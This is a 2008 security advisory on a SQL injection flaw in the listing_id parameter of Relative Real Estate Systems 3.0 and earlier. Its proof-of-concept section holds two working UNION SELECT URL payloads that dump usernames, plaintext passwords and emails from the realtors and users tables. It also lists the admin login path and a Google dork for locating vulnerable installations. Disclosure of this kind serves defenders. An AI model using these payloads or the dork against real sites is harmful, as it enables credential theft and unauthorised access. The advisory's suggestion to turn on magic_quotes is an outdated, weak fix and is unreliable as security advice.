Relative Real Estate Systems <= 3.0 (listing_id) SQL Injection Vuln

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Relative Real Estate Systems <= 3.0 (listing_id) SQL Injection Vuln
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                                        .OR.ID
ECHO_ADV_99$2008

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[ECHO_ADV_99$2008] Relative Real Estate Systems <= 3.0 (listing_id) Sql Injection Vulnerability
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Author       : M.Hasran Addahroni
Date         : June, 24 th 2008
Location     : Jakarta, Indonesia
Critical Lvl : Medium
Impact       : System access
Where        : From Remote
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Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Relative Real Estate Systems
version     : <= 3.0
Vendor      : http://www.dboorn.com/estate/
Description :

Elegant real estate script that allows for unlimited listings and agents with featured listings, 
unlimited photos, advanced search engine, user login option, user tracking, dynamic slide shows,
Mls/Idx support, multiple agents with photo, mortgage calculator, schools info, C.M.A. 
request form, full admin panel.Requires PHP/Mysql Windows Server or any Web server with php support.

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Vulnerability:
~~~~~~~~~~~~~

Input passed to the "listing_id" parameter in index.php is not properly verified before being used 
in an sql query.
This can be exploited thru the browser to manipulate SQL queries and pull the username and password from realtors 
and users in plain text.
Successful exploitation requires that "magic_quotes" is off.


Poc/Exploit:
~~~~~~~~~

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(id,0x3a,username,0x3a,password,0x3a,email),0,1,2,3,4,5,6,7,8,9,0,1%20from%20realtors--

http://[URL]/[path]/index.php?go=listings&listing_id=-30%20union%20select%201,2,3,4,5,6,7,8,concat(username,0x3a,password),0,1,2,3,4,5,6,7,8,9,0,1%20from%20users--

Admin Login at http://[URL]/[PATH]/Admin/login_index.php

Dork:
~~~~
Google : "index.php?go=listings&listing"


Solution:
~~~~~~

- Edit the source code to ensure that input is properly verified.
- Turn on magic_quotes in php.ini


Timeline:
~~~~~~~~

- 24 - 06 - 2008 bug found
- 24 - 06 - 2008 vendor contacted
- 24 - 06 - 2008 advisory released
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Shoutz:
~~~~
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